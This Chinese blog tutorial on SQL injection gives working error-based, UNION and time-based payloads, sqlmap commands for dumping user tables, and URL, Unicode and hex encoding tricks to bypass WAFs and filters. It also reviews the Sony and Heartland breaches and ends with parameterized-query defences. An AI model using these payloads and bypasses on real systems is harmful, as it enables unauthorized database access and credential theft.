我们继续深入SQL注入的一些知识

这次文章有点长,慢慢消化,多学习多练习,终有一天,你会放弃!!!

  • SQL注入漏洞识别技巧
  • 高级SQL注入Payload构造
  • 使用自动化工具进行SQL注入
  • 绕过防御机制的技术
  • SQL注入攻击的实际案例分析
  • 防御和修复措施

1. SQL注入漏洞识别技巧

  • 手动测试技巧:如在输入框中输入单引号、双引号、特殊字符(如--/*)等观察返回的错误信息。
  • 常见的注入点:如URL参数、表单输入、HTTP头信息(如User-Agent、Referer等)。

SQL注入漏洞识别技巧

一、手动测试技巧

1. 单引号和双引号测试

通过在输入框中输入单引号 (') 或双引号 (") 来测试是否存在SQL注入漏洞。如果应用程序没有正确处理这些字符,数据库可能会返回错误信息,提示存在SQL注入漏洞。

步骤:

  1. 输入单引号: 在输入框中输入单引号 (') 并提交。

 

'

 观察返回信息: 如果页面返回数据库错误信息,如Syntax errorUnclosed quotation mark等,说明存在SQL注入漏洞。

示例错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

 输入双引号: 在输入框中输入双引号 (") 并提交。

"
  1. 观察返回信息: 如果页面返回数据库错误信息,如Syntax errorUnclosed quotation mark等,说明存在SQL注入漏洞。

示例错误信息:

Unclosed quotation mark after the character string '.
2. 特殊字符测试

通过在输入框中输入特殊字符(如--/*)来测试是否存在SQL注入漏洞。这些字符常用于SQL注释,可以用于绕过某些SQL查询部分。

步骤:

  1. 输入注释符号: 在输入框中输入--并提交。
--
  1. 观察返回信息: 如果页面返回数据库错误信息或页面行为异常,说明可能存在SQL注入漏洞。

示例错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '--' at line 1

输入块注释符号: 在输入框中输入/*并提交。

/*
  1. 观察返回信息: 如果页面返回数据库错误信息或页面行为异常,说明可能存在SQL注入漏洞。

示例错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 1

二、常见的注入点

1. URL参数

URL参数是常见的SQL注入点,因为它们通常直接传递给后端数据库查询。

步骤:

  1. 修改URL参数: 例如,原始URL为:
http://example.com/page?id=1

修改为:

http://example.com/page?id=1'
  1. 观察返回信息: 如果页面返回数据库错误信息或行为异常,说明可能存在SQL注入漏洞。

示例错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1
2. 表单输入

表单输入字段(如登录表单、搜索框)是另一个常见的SQL注入点。

步骤:

  1. 输入单引号或特殊字符: 在表单输入框中输入单引号 (') 或特殊字符 (--) 并提交。
'
  1. 观察返回信息: 如果页面返回数据库错误信息或行为异常,说明可能存在SQL注入漏洞。

示例错误信息:

Invalid query: You have an error in your SQL syntax
3. HTTP头信息

HTTP头信息(如User-Agent、Referer)也可以是SQL注入点,尤其是在应用程序记录这些信息到数据库时。

步骤:

  1. 修改HTTP头信息: 使用工具(如Burp Suite)拦截并修改HTTP头信息,例如将User-Agent修改为:
User-Agent: ' OR 1=1 --
  1. 观察返回信息: 如果应用程序返回数据库错误信息或行为异常,说明可能存在SQL注入漏洞。

示例错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' OR 1=1 --' at line 1

三、示例总结

通过手动测试技巧和识别常见的注入点,我们可以有效地发现SQL注入漏洞。以下是完整的示例:

  1. URL参数测试:
http://example.com/page?id=1'

表单输入测试:

'

HTTP头信息测试:

User-Agent: ' OR 1=1 --

2. 高级SQL注入Payload构造

  • 基于错误的SQL注入:利用数据库返回的错误信息提取数据。
  • 联合查询注入的高级技巧:如在UNION查询中利用不同的数据类型和列数。
  • 基于时间的SQL注入:利用数据库的时间函数(如SLEEP())观察响应时间的变化。

 

高级SQL注入Payload构造

一、基于错误的SQL注入(Error-Based SQL Injection)

基于错误的SQL注入通过利用数据库返回的错误信息,提取数据库结构和数据。

示例:

  1. 触发错误并提取数据: 通过触发错误来获取数据库名称:

1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT database()), 0x7e, FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) #
  • 在这个示例中,CONCAT(0x7e, (SELECT database()), 0x7e)将数据库名称拼接在~符号之间,并利用COUNT(*)触发错误信息。

  • 提取表名: 通过触发错误来获取当前数据库中的表名:

1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), 0x7e, FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) #

提取列名: 通过触发错误来获取某个表中的列名:

1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1), 0x7e, FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) #

二、联合查询注入的高级技巧(Advanced Union-Based SQL Injection)

联合查询注入通过使用SQL的UNION操作符,联合一个恶意的SQL查询,从而获取数据库的敏感信息。高级技巧包括利用不同的数据类型和列数。

步骤:

  1. 确定列数: 使用ORDER BY语句确定查询返回的列数:

1' ORDER BY 1-- 
1' ORDER BY 2-- 
1' ORDER BY 3-- 
1' ORDER BY 4-- 
  • 当出现错误时,表示列数为最后一个成功的数字。

  • 确定可注入列: 使用UNION SELECT NULL查询确定哪些列可以注入数据:

1' UNION SELECT NULL, NULL, NULL-- 
1' UNION SELECT 1, NULL, NULL-- 
1' UNION SELECT 1, 2, NULL-- 
  • 当返回正常页面时,表示相应的列可注入数据。

  • 提取数据: 通过已确定的列提取数据库信息:

1' UNION SELECT 1, database(), user()-- 
1' UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema=database()-- 
1' UNION SELECT column_name, NULL, NULL FROM information_schema.columns WHERE table_name='users'-- 
1' UNION SELECT username, password, NULL FROM users-- 

三、基于时间的SQL注入(Time-Based SQL Injection)

基于时间的SQL注入通过利用数据库的时间函数(如SLEEP()),观察响应时间的变化,从而获取数据库信息。

步骤:

  1. 基础时间盲注入: 使用SLEEP()函数测试数据库响应时间:

1' AND SLEEP(5)-- 
  • 如果页面响应时间明显增加,说明SQL注入成功。

  • 逐字符猜测数据: 通过逐字符猜测数据库信息,并使用SLEEP()函数验证:

1' AND IF(SUBSTRING(database(), 1, 1) = 'a', SLEEP(5), 0)-- 
  • 如果页面响应时间增加,说明数据库名称的第一个字符为a

  • 逐字符枚举数据库名称: 继续使用上述方法枚举数据库名称的每个字符:

1' AND IF(SUBSTRING(database(), 2, 1) = 'b', SLEEP(5), 0)-- 
1' AND IF(SUBSTRING(database(), 3, 1) = 'c', SLEEP(5), 0)-- 
  1. 重复上述过程,直到枚举出完整的数据库名称。

示例代码:

  1. 基础时间盲注入:

1' AND SLEEP(5)-- 

逐字符猜测数据库名称:

1' AND IF(SUBSTRING(database(), 1, 1) = 'a', SLEEP(5), 0)-- 
1' AND IF(SUBSTRING(database(), 2, 1) = 'b', SLEEP(5), 0)-- 

逐字符枚举数据库名称:

1' AND IF(SUBSTRING(database(), 3, 1) = 'c', SLEEP(5), 0)-- 

3. 使用自动化工具进行SQL注入

  • sqlmap的使用:如何使用sqlmap自动化检测和利用SQL注入漏洞。
  • 其他常用工具:如Havij、SQLNinja等。

一、sqlmap的使用

sqlmap是一个开源的自动化SQL注入工具,可以帮助检测和利用SQL注入漏洞。它支持多种数据库和多种注入技术,非常强大。

1. 安装sqlmap

在Kali Linux中,sqlmap已经预装好。如果你使用其他Linux发行版或操作系统,可以通过以下命令安装:

sudo apt-get update
sudo apt-get install sqlmap

或者通过克隆GitHub仓库安装:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
2. 基本使用方法

a. 检测SQL注入漏洞

假设我们有一个目标URL:http://example.com/vulnerable.php?id=1

运行sqlmap来检测SQL注入漏洞:

sqlmap -u "http://example.com/vulnerable.php?id=1" --batch

参数说明:

  • -u:指定目标URL。
  • --batch:自动确认所有提示(适合无人值守的自动化操作)。

b. 枚举数据库信息

获取数据库名称:

sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs

获取表名:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D <database_name> --tables

获取列名:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D <database_name> -T <table_name> --columns

获取数据:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D <database_name> -T <table_name> -C <column1,column2> --dump

c. 提交表单和Cookie

sqlmap支持提交表单数据和使用Cookie进行认证。

提交表单数据:

sqlmap -u "http://example.com/vulnerable.php" --data="id=1"

使用Cookie:

sqlmap -u "http://example.com/vulnerable.php?id=1" --cookie="PHPSESSID=abcdefghijk"
3. 高级使用方法

a. 使用代理

使用代理发送请求:

sqlmap -u "http://example.com/vulnerable.php?id=1" --proxy="http://127.0.0.1:8080"

b. 指定注入技术

指定使用某种注入技术(如基于错误、联合查询、基于时间):

sqlmap -u "http://example.com/vulnerable.php?id=1" --technique=E

c. 绕过WAF

使用特定的绕过技术:

sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=space2comment

二、其他常用工具

1. Havij

Havij是另一个常用的自动化SQL注入工具,具有图形用户界面(GUI),适合不熟悉命令行的用户。

安装和使用:

  1. 下载Havij并安装。
  2. 打开Havij,输入目标URL。
  3. 点击“Analyze”按钮进行SQL注入检测。
  4. Havij会自动检测漏洞,并提供获取数据库信息、表、列等功能。

注意: Havij目前不再更新,可能不支持一些最新的防御机制和数据库类型。

2. SQLNinja

SQLNinja是一个专门针对MSSQL数据库的SQL注入工具,支持多种注入技术和漏洞利用方法。

安装和使用:

在Kali Linux中,SQLNinja已经预装好。如果需要手动安装,可以从官方页面下载。

基本使用方法:

  1. 编辑配置文件sqlninja.conf,设置目标URL和注入参数。
  2. 运行SQLNinja:
sqlninja -mt -f sqlninja.conf

这里就不多讲这个工具啦,文章太长,想了解的可以自行去官方了解哈!

4. 绕过防御机制的技术

  • WAF绕过:使用编码、混淆等技术绕过Web应用防火墙。
  • 输入过滤绕过:利用字符编码(如URL编码、Unicode编码)绕过输入过滤。

一、绕过Web应用防火墙(WAF)

Web应用防火墙(WAF)可以检测并阻止SQL注入攻击。绕过WAF的方法包括使用编码、混淆等技术。

1. 编码技术

URL编码: 将SQL注入Payload中的特殊字符进行URL编码,如将'编码为%27,将--编码为%2D%2D

示例:

http://example.com/vulnerable.php?id=1%27%20OR%201=1%20--%20

Unicode编码: 使用Unicode编码将SQL注入Payload中的特殊字符进行编码。

示例:

http://example.com/vulnerable.php?id=%u0027%20OR%201=1%20--%20

混合编码: 混合使用不同的编码技术绕过WAF。

示例:

http://example.com/vulnerable.php?id=%27%20OR%201%3D1%20--%20
2. 混淆技术

空格替换: 使用注释符号替换SQL语句中的空格。

示例:

1'/**/OR/**/1=1-- 

大小写混淆: 将SQL关键词的大小写混合使用。

示例:

1' oR 1=1-- 

分隔符替换: 使用其他SQL分隔符替换默认的分隔符。

示例:

1' OR 1=1 LIMIT 1-- 

双重编码: 将编码后的字符再次编码。

示例:

http://example.com/vulnerable.php?id=%2527%2520OR%25201%253D1%2520--%2520

二、绕过输入过滤

输入过滤是防止SQL注入的常见方法。绕过输入过滤的方法包括利用字符编码(如URL编码、Unicode编码)等技术。

1. URL编码

基本URL编码: 将特殊字符进行URL编码。

示例:

?id=1%27%20OR%201=1-- 

双重URL编码: 将特殊字符进行两次URL编码。

示例:

?id=1%2527%2520OR%25201%253D1-- 
2. Unicode编码

将特殊字符进行Unicode编码。

示例:

?id=%u0027%20OR%201=1-- 
3. 混合编码

将URL编码和Unicode编码结合使用。

示例:

?id=%27%u0020OR%u00201%3D1-- 
4. Hex编码

将特殊字符进行十六进制编码。

示例:

?id=0x27%20OR%200x31=0x31-- 

三、绕过特定防御机制的示例

1. 绕过基于模式匹配的WAF

有些WAF会基于特定模式进行检测,通过混淆和编码可以绕过这些防御。

示例:

?id=1%27/**/oR/**/1=1-- 
2. 绕过基于黑名单的输入过滤

有些输入过滤器会基于黑名单阻止特定的关键词或字符,通过使用大小写混淆或替换字符可以绕过这些过滤。

示例:

?id=1%27%20oR%201=1-- 

5. SQL注入攻击的实际案例分析

  • 真实案例研究:分析一些著名的SQL注入攻击案例,如Sony、Heartland Payment Systems等。
  • 攻击流程演示:详细演示如何从发现漏洞到获取数据库控制权的整个攻击过程。

一、真实案例研究

1. Sony's PlayStation Network (2011)

背景: 2011年,Sony's PlayStation Network(PSN)遭到SQL注入攻击,导致超过7700万用户的个人信息泄露,包括用户名、密码、电子邮件地址、出生日期等。

攻击流程:

  1. 发现漏洞: 攻击者在PSN的某个页面发现了一个可注入的输入字段,可能是登录表单或搜索框。

  2. 利用漏洞: 攻击者通过手动或自动化工具(如sqlmap)进行SQL注入,提取数据库信息。

  3. 获取敏感数据: 攻击者通过一系列的SQL注入Payload,逐步获取数据库中的敏感数据,包括用户账户信息。

  4. 泄露信息: 攻击者将获取的用户信息在黑市上出售或公开发布,导致用户隐私泄露和潜在的身份盗用风险。

防御措施:

  • 使用参数化查询和预编译语句。
  • 对输入进行严格验证和输出编码。
  • 实施Web应用防火墙(WAF)和持续的安全监控。
2. Heartland Payment Systems (2008)

背景: 2008年,Heartland Payment Systems遭到SQL注入攻击,导致超过1.3亿张信用卡和借记卡信息泄露。这次攻击是当时最大的一起支付数据泄露事件。

攻击流程:

  1. 发现漏洞: 攻击者在Heartland的支付处理系统中发现了一个可注入的输入字段,可能是支付网关的某个参数。

  2. 利用漏洞: 攻击者通过手动或自动化工具进行SQL注入,绕过系统的输入过滤和安全措施。

  3. 获取数据库控制权: 攻击者逐步获取数据库的控制权,通过一系列SQL注入Payload,提取信用卡和借记卡信息。

  4. 利用数据: 攻击者将获取的信用卡信息用于欺诈交易,导致金融损失和信用卡持卡人的经济损失。

防御措施:

  • 使用安全编码实践和安全框架。
  • 对数据库进行加密和访问控制。
  • 实施强大的审计和监控系统,及时发现和响应异常活动。

二、攻击流程演示

步骤1:发现漏洞

目标URL:

http://example.com/vulnerable.php?id=1

攻击者在输入字段中尝试注入特殊字符,发现页面返回错误信息,表明存在SQL注入漏洞。

步骤2:利用漏洞

检测SQL注入:

sqlmap -u "http://example.com/vulnerable.php?id=1" --batch

sqlmap自动检测SQL注入漏洞,并确认存在漏洞。

步骤3:枚举数据库信息

获取数据库名称:

sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs

sqlmap输出数据库名称:

available databases [2]:
[*] information_schema
[*] exampledb

获取表名:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D exampledb --tables

sqlmap输出表名:

Database: exampledb
[3 tables]
+----------------+
| users          |
| transactions   |
| orders         |
+----------------+

获取列名:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D exampledb -T users --columns

sqlmap输出列名:

Table: users
[5 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| username | varchar(255) |
| password | varchar(255) |
| email    | varchar(255) |
| created  | datetime     |
+----------+--------------+
步骤4:获取数据

获取用户数据:

sqlmap -u "http://example.com/vulnerable.php?id=1" -D exampledb -T users -C username,password,email --dump

sqlmap输出用户数据:

Database: exampledb
Table: users
[3 entries]
+----------+------------------+-------------------+
| username | password         | email             |
+----------+------------------+-------------------+
| alice    | 5f4dcc3b5aa765d61d8327deb882cf99 | alice@example.com |
| bob      | e99a18c428cb38d5f260853678922e03 | bob@example.com |
| charlie  | 25d55ad283aa400af464c76d713c07ad | charlie@example.com |
+----------+------------------+-------------------+

攻击者可以使用这些信息尝试登录用户账户,进一步攻击或盗取敏感信息。

6. 防御和修复措施

  • 输入验证和输出编码:具体的方法和最佳实践。
  • 使用参数化查询和预编译语句:在各种编程语言中的实现示例。
  • 安全编码实践:如何在代码中避免SQL注入漏洞。
  • 定期安全测试和代码审计:如何进行安全测试和审计,及时发现和修复漏洞。
1. 输入验证

输入验证是防止SQL注入攻击的第一道防线。具体的方法包括:

a. 白名单验证: 只允许预定义的安全字符和格式输入。

示例:

import re

def validate_input(user_input):
    pattern = re.compile("^[a-zA-Z0-9_]+$")
    if pattern.match(user_input):
        return True
    return False

b. 字符长度限制: 限制输入字段的最大长度,防止过长的输入导致注入攻击。

示例:

def validate_length(user_input, max_length):
    if len(user_input) <= max_length:
        return True
    return False

c. 类型检查: 确保输入的数据类型与预期的一致。

示例:

def validate_integer(user_input):
    try:
        int(user_input)
        return True
    except ValueError:
        return False
2. 输出编码

输出编码确保用户输入在显示时不会被解释为代码。

a. HTML编码: 防止跨站脚本攻击(XSS)。

示例:

from flask import escape

def safe_output(user_input):
    return escape(user_input)

b. SQL转义: 使用库函数对SQL特殊字符进行转义。

示例:

import mysql.connector

def safe_sql_output(user_input):
    conn = mysql.connector.connect(user='user', password='password', host='localhost', database='database')
    cursor = conn.cursor()
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (user_input,))
    result = cursor.fetchall()
    conn.close()
    return result

二、使用参数化查询和预编译语句

参数化查询和预编译语句可以防止SQL注入,因为它们将用户输入与SQL代码分开处理。

1. Python (MySQL)

示例:

import mysql.connector

def get_user(username):
    conn = mysql.connector.connect(user='user', password='password', host='localhost', database='database')
    cursor = conn.cursor(prepared=True)
    query = "SELECT * FROM users WHERE username = %s"
    cursor.execute(query, (username,))
    result = cursor.fetchall()
    conn.close()
    return result
2. PHP (PDO)

示例:

<?php
function getUser($username) {
    $pdo = new PDO('mysql:host=localhost;dbname=database', 'user', 'password');
    $stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
    $stmt->execute([$username]);
    return $stmt->fetchAll();
}
?>
3. Java (JDBC)

示例:

import java.sql.*;

public class UserDAO {
    public User getUser(String username) throws SQLException {
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/database", "user", "password");
        String query = "SELECT * FROM users WHERE username = ?";
        PreparedStatement stmt = conn.prepareStatement(query);
        stmt.setString(1, username);
        ResultSet rs = stmt.executeQuery();
        User user = null;
        if (rs.next()) {
            user = new User(rs.getString("username"), rs.getString("email"));
        }
        rs.close();
        stmt.close();
        conn.close();
        return user;
    }
}

三、安全编码实践

1. 避免动态构建SQL查询

尽量避免在代码中动态构建SQL查询,而是使用参数化查询和预编译语句。

示例:

# 不安全的代码
query = "SELECT * FROM users WHERE username = '" + username + "'"

# 安全的代码
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
2. 使用ORM框架

ORM框架可以自动处理SQL查询的构建,减少手动构建查询的风险。

示例(Django ORM):

from django.shortcuts import render
from .models import User

def get_user(request, username):
    user = User.objects.get(username=username)
    return render(request, 'user.html', {'user': user})

四、定期安全测试和代码审计

1. 安全测试

定期进行安全测试可以及时发现和修复漏洞。常见的安全测试方法包括:

a. 自动化扫描: 使用工具(如OWASP ZAP、Burp Suite)扫描应用程序的安全漏洞。

示例:

# 使用OWASP ZAP进行自动化扫描
zap-cli quick-scan http://example.com

b. 渗透测试: 聘请专业的渗透测试人员进行深入的安全测试。

2. 代码审计

定期进行代码审计,确保代码遵循安全编码实践。

a. 静态代码分析: 使用静态代码分析工具(如SonarQube、Checkmarx)自动检查代码中的安全漏洞。

示例:

# 使用SonarQube进行静态代码分析
sonar-scanner -Dsonar.projectKey=my_project -Dsonar.sources=./src -Dsonar.host.url=http://localhost:9000

b. 人工代码审查: 由经验丰富的开发人员对代码进行人工审查,发现潜在的安全问题。

好了,到此,本文章完结~

  • 24
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值